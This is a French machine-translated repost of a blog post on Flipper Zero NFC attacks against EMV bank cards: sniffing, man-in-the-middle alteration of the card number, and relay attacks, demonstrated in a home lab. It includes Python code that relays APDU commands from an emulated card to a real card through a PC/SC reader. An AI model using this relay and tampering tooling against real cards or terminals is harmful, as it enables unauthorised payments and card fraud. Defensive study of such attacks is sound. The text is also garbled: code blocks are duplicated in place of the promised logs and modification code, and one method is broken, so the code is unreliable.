Maison > développement back-end > Tutoriel Python > Flipper Zero NFC Hacking – Attaques bancaires EMV, Man-in-the-Middle et Relay

Flipper Zero NFC Hacking – Attaques bancaires EMV, Man-in-the-Middle et Relay

Linda Hamilton
Libérer: 2024-12-23 06:32:48
original
157 Les gens l'ont consulté

Dans notre article précédent, nous avons exploré comment le Flipper peut fonctionner à la fois comme lecteur de carte sans contact NFC et comme émulateur de carte NFC. Lorsque nous combinons ces deux fonctionnalités, une série de scénarios d'attaque potentiels sur les transactions par lecteur de carte apparaît :

  • Est-il possible de renifler la communication ?, c'est-à-dire d'intercepter et de surveiller les données échangées entre deux appareils sans les altérer
  • Une attaque de l'homme du milieu (MitM) peut-elle être réalisée ? Concrètement, pourrait-on intercepter et modifier la communication entre la carte et le lecteur, en injectant ou en modifiant des données en temps réel ?
  • Ma carte est-elle vulnérable à une attaque par relais ? Un attaquant, positionné à proximité de la carte, communique avec elle et relaie les commandes/réponses à un complice proche du lecteur, ce qui incite le lecteur à traiter une transaction comme si la carte était présente. Cela permet des transactions non autorisées, même si la carte n'est pas du tout à proximité du terminal.

Dans cet article, nous aborderons ces trois questions en détail.

1- Que voulons-nous réaliser ?

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Le schéma ci-dessus (disponible en meilleure qualité ici) illustre la configuration que nous souhaitons établir pour tester les différentes attaques décrites précédemment.

  1. Il existe Un téléphone avec une application qui est destinée à lire les données d'une carte bancaire.
  2. Le téléphone communique avec le Flipper Zero, qui fonctionne en mode émulation de carte.
  3. Le Flipper Zero est connecté à un PC, qui transmet les commandes reçues à un lecteur PC/SC qui lui est connecté.
  4. Le lecteur PC/SC envoie les commandes à la véritable carte bancaire.
  5. La vraie carte traite les commandes et répond, les réponses remontant de la même manière : via le lecteur PC/SC, le PC et enfin vers le téléphone.
  6. Pendant ce temps, notre script Python exécuté sur le PC intercepte ces commandes et réponses, permettant ainsi des modifications en temps réel des données lors de leur passage.

Auparavant, nous déchargés toute la logique de traitement des données vers un script Python exécuté en dehors du Flipper. Cette approche élimine le besoin de mettre à jour ou de télécharger un nouveau micrologiciel chaque fois que nous souhaitons apporter des modifications. Cependant, une question se pose : ce proxy Python va-t-il introduire une latence qui pourrait perturber la communication et la faire échouer ?

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Avant de répondre à cette question, jetons un œil aux scripts Python que nous utiliserons pour mettre en place cette configuration.

2 - Préparation des scripts Python

Dans le billet de blog précédent, nous avons couvert les deux composants principaux de cette configuration :

  • Émulation d'une carte à l'aide d'un Flipper Zero.
  • Utiliser un lecteur PC/SC pour communiquer avec une carte.

Maintenant, il s'agit simplement de relier les deux ensemble. De quoi parle-t-on exactement ?

  • Lorsque le Flipper détecte un champ, le lecteur doit mettre la carte sous tension.
  • À l'inverse, lorsque le Flipper détecte que le champ a été éteint, le lecteur doit couper l'alimentation de la carte.
  • Le Flipper est responsable de la gestion de la communication TPDU. En effet, un lecteur PC/SC ne gère que les commandes au niveau TPDU :
    • Une fois que le Flipper reçoit un APDU complet, il l'envoie au lecteur.
    • Le lecteur transmet la commande à la carte réelle, puis relaie la réponse de la carte au Flipper.
    • Le Flipper traite cette réponse et la transmet au format TPDU.

Ces exigences pour le lecteur ont conduit à la création de la classe abstraite Reader, décrite ci-dessous. De plus, nous avons introduit une méthode pour établir une connexion avec le lecteur.

class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass
Copier après la connexion
Copier après la connexion

Ensuite, nous créons une classe PCSCReader minimaliste ci-dessous pour interagir avec un lecteur PC/SC.

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp
Copier après la connexion
Copier après la connexion

Maintenant, nous pouvons passer à la mise en œuvre de l'émulateur de carte, appelé Emu, comme indiqué ci-dessous. Il accepte un objet Reader facultatif comme paramètre. S'il est fourni, il établit une connexion avec le lecteur.

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()
Copier après la connexion
Copier après la connexion

Ensuite, nous définissons trois méthodes pour communiquer les événements au lecteur : éteindre le champ, allumer le champ et envoyer un APDU.

# class Emu(Iso14443ASession):
    def field_off(self):
        print("field off")
        if self.reader:
            self.reader.field_off()

    def field_on(self):
        print("field on")
        if self.reader:
            self.reader.field_on()

    def process_apdu(self, apdu):
        if self.reader:
            return self.reader.process_apdu(apdu)
        else:
            self.process_function(apdu)
Copier après la connexion

Ensuite, nous avons amélioré la méthode chargée de gérer la communication des commandes de l'émulateur de carte au niveau TPDU. Notamment, lorsqu'une commande APDU complète est reçue, la méthode process_apdu est appelée pour la transmettre au lecteur et récupérer la réponse de la carte réelle.

# class Emu(Iso14443ASession):
    def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]:
        print("r block")
        if tpdu == "BA00BED9":
            rtpdu, crc = "BA00", True

        elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]:
            if len(self.iblock_resp_lst):
                rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True
            else:
                rtpdu = self.build_rblock(ack=True).hex()
                crc = True

        return rtpdu, crc

    def low_level_dispatcher(self):
        capdu = bytes()
        ats_sent = False

        iblock_resp_lst = []

        while 1:
            r = fz.emu_get_cmd()
            rtpdu = None
            print(f"tpdu < {r}")
            if r == "off":
                self.field_off()
            elif r == "on":
                self.field_on()
                ats_sent = False
            else:
                tpdu = Tpdu(bytes.fromhex(r))

                if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False):
                    rtpdu, crc = "0A788082022063CBA3A0", True
                    ats_sent = True
                elif tpdu.r:
                    rtpdu, crc = self.rblock_process(tpdu)
                elif tpdu.s:
                    print("s block")
                    # Deselect
                    if len(tpdu._inf_field) == 0:
                        rtpdu, crc = "C2E0B4", False
                    # Otherwise, it is a WTX

                elif tpdu.i:
                    print("i block")
                    capdu += tpdu.inf

                    if tpdu.is_chaining() is False:
                        rapdu = self.process_function(capdu)
                        capdu = bytes()
                        self.iblock_resp_lst = self.chaining_iblock(data=rapdu)
                        rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True

                print(f">>> rtdpu {rtpdu}\n")
                fz.emu_send_resp(bytes.fromhex(rtpdu), crc)
Copier après la connexion

Enfin, nous implémentons la méthode utilisée pour lancer l'émulation de carte à partir du Flipper Zero.

# class Emu(Iso14443ASession):
    def run(self):
        self.drv.start_emulation()
        print("...go!")
        self.low_level_dispatcher()
Copier après la connexion

Les scripts Python sont prêts ; Jetons maintenant un œil à la configuration matérielle que nous utiliserons pour les tester.

3 - Expérience réalisée dans notre garage

Vous trouverez ci-dessous notre petite réplication d'un environnement d'attaque. De gauche à droite, nous avons :

  • Un téléphone Android exécutant une application de lecture des cartes bancaires NFC. Dans notre cas, il s'agit de NFC-EMV-Reader (disponible sur GitHub - NFC-EMV-Reader). Bien que quelque peu obsolète, il fonctionne parfaitement à des fins de démonstration. Cet appareil simule un terminal tentant de communiquer avec une carte NFC. Il n'est connecté à aucun autre appareil.
  • Le Flipper Zero, qui fait office d'émulateur de carte NFC. Il est connecté à un ordinateur (non visible sur l'image).
  • Le lecteur PC/SC, également connecté à l'ordinateur.
  • La véritable carte bancaire NFC, représentant la vraie carte ciblée dans cette configuration.

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Parfait, nous disposons désormais de tous les composants nécessaires pour mener à bien les attaques ! Battons-nous !

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

4 - Reniflage des communications

Nous pouvons d'abord tenter de renifler, ce qui signifie que les commandes/réponses APDU du Flipper sont transmises à la carte, sans aucune modification.

Cela fonctionne parfaitement et reste stable, le code Python faisant office d'intermédiaire n'ayant aucun impact notable ! Si le proxy Python ajoute trop de latence et que le terminal commence à se plaindre de la lenteur de la carte, nous avons une solution à ce problème. Quelque chose que je n’ai pas (encore) mis en œuvre :

  • Il s'agit d'une commande TPDU appelée Wait-Time Extension (WTX).
  • La carte envoie cette commande lorsqu'elle a besoin de plus de temps pour effectuer une opération gourmande en ressources, comme la cryptographie.
  • Le lecteur interprète cela comme un signal indiquant que la carte est toujours en cours de traitement et le terminal répond par un accusé de réception.
  • En théorie, la carte peut envoyer autant de commandes WTX qu'elle le souhaite.

Vous trouverez ci-dessous un extrait d'un journal.

  • la carte a été allumée (champ éteint/champ allumé)
  • Le terminal tente de sélectionner l'application carte à l'aide d'une commande APDU SELECT : 00a4040007d276000085010100. Ici, l'identifiant de l'application (communément nommé AID) est d2760000850101. En examinant la liste des AID de carte sur la base de données complète AID d'EFTLab, nous constatons que cet AID correspond à une Application de balise NDEF allemande, implémentée sur une puce NXP.
  • Cette application n'est pas présente sur la carte, la carte répond donc avec le mot d'état de deux octets 6A82, indiquant qu'elle ne reconnaît pas l'application demandée.
class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass
Copier après la connexion
Copier après la connexion

En fait, une carte peut contenir des centaines d'applications différentes installées, chacune avec son propre AID unique. Un terminal ne tente pas de les essayer tous un par un. C'est pourquoi, dans le domaine bancaire sans contact, il existe une application spécifique présente sur toutes les cartes destinée à indiquer les applications bancaires disponibles sur la carte. Son AID est 325041592e5359532e4444463031, ce qui se traduit en ASCII par 2PAY.SYS.DDF01.

Plus tard dans la communication, nous pouvons voir cette application être appelée (comme indiqué ci-dessous). Par conséquent, la sélection précédente de la candidature avec l'AID D2760000850101, comme indiqué précédemment, semble inhabituelle.

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp
Copier après la connexion
Copier après la connexion

Lors de l'analyse de la réponse, vous pouvez voir qu'elle indique (entre autres détails) la présence d'une application avec l'AID A0000000041010, qui correspond à MasterCard.

Ainsi, le téléphone finit par sélectionner cette application.

Ensuite, il récupère divers détails de la carte, y compris le numéro de compte principal (PAN). Le numéro affiché sur la carte correspond à celui affiché sur le terminal, confirmant que notre attaque relais, qui repose sur un simple reniflage, est réussie !

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Bien sûr, des outils comme Proxmark rendent le reniflage beaucoup plus simple, mais pourquoi faire simple quand on peut compliquer les choses ;) ?

5 - L'homme du milieu

Maintenant, passons à l’attaque de l’homme du milieu. Cela signifie que nous ne nous contenterons pas d’écouter la communication, mais que nous la modifierons activement. Un cas d'utilisation intéressant pourrait consister à modifier le numéro de carte, par exemple en changeant 5132 en 6132.

En nous référant aux logs de notre précédente communication, nous pouvons constater que ces données sont transmises en clair. Ils sont récupérés de la carte à l'aide des commandes READ RECORD telles que 00B2010C00 et 00B2011400.

Les données n'étant pas cryptées et manquant de protection en intégrité, nous pouvons les modifier à notre guise. Pour implémenter cela, nous mettons simplement à jour la méthode process_apdu dans notre classe PCSCReader pour gérer la modification.

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()
Copier après la connexion
Copier après la connexion

Et comme le montre l'image ci-dessous, l'application ignore totalement la modification !

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Pourquoi ça marche ? La réponse se trouve dans l'image ci-dessous décrivant les différentes couches de communication :

  • En bas, la technologie sous-jacente, ISO-14443, gère la communication de la couche physique. Le flipper zéro échange les données selon cette spécification.
  • Ensuite, nous avons les TPDU. Les données sont échangées dans des TPDU, protégées par un CRC public uniquement pour des raisons d'intégrité. Enfin, nous avons la couche APDU, qui est constituée des commandes et réponses de l'application carte. Il existe trois niveaux de protection possibles :
    1. Aucune protection : les commandes et les réponses n'ont ni garanties d'intégrité ni de confidentialité. C'est le cas dans notre configuration, ce qui rend très facile la modification de la communication.
    2. Chiffrement partiel : La commande ou la réponse est partiellement chiffrée. Cela se voit dans certaines commandes bancaires NFC, où un cryptogramme est inclus pour valider l'authenticité de la communication.
    3. Cryptage complet : la commande et la réponse sont entièrement cryptées, offrant une protection complète. Cependant, cela n'est pas implémenté dans les cartes EMV.

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

On peut aussi s'amuser... Comme j'ai fait les modifications à la va-vite, il m'est arrivé de modifier les données de manière aléatoire. Dans un cas, comme le montre l'image ci-dessous, l'application a affiché un énorme bloc de caractères pour le numéro de carte, même s'il est censé être limité à 16 chiffres !

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Cela ouvre des possibilités intéressantes pour des expériences de fuzzing.

6 - Attaque relais

Comme mentionné au début de cet article de blog, une attaque par relais consiste à intercepter et à relayer la communication entre deux parties (par exemple, une carte NFC et un terminal) sans la modifier, faisant croire au terminal qu'il communique avec le légitime. carte en temps réel.

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Un hacker souhaite effectuer un paiement sur Terminal. Il relaie la communication du terminal à un complice proche d'une victime, qui communique alors avec la carte de la victime à son insu.

L'expérience précédente a démontré que cette attaque est réalisable dans un environnement contrôlé, comme un garage. Cependant, dans des scénarios réels, il existe des défis supplémentaires à prendre en compte.

  • Proximité étroite requise : Les attaquants doivent rester près de la carte. Donc, pendant le COVID, avec la distanciation sociale, c'était super pratique, évidemment.
  • Complice au POS : Une deuxième personne est nécessaire à proximité du terminal.
  • Communication fiable et à faible latence : les retards dans la transmission des signaux peuvent entraîner des échecs, et une communication fiable est essentielle au succès. Pour répondre à ces défis, un autre type d’attaque peut être utilisé : l’attaque par rejeu.
    • L'attaquant communique avec la victime carte comme s'il s'agissait du terminal légitime, enregistrant la réponse de la carte.
    • L'attaquant rejoue ensuite la réponse enregistrée sur le terminal.
    • Bien que l'utilisation de données aléatoires dans les commandes du terminal puisse empêcher les attaques par rejeu, le caractère aléatoire est parfois moins robuste qu'il n'y paraît. Cependant, l’exploration de cette vulnérabilité dépasse le cadre de ce blog.

L'une des principales contre-mesures contre les attaques par relais consiste à mesurer le timing de la communication, car le relais introduit des retards notables. Cependant, l'ancien protocole EMV n'inclut pas de commandes pour faciliter de telles vérifications de synchronisation.

Conclusion

Nous avons atteint la fin de cet article de blog. J'espère que vous avez apprécié le contenu ! Le code Python et le firmware Flipper Zero modifié sont disponibles sur mon GitHub.

https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

source:dev.to
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Derniers articles par auteur
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal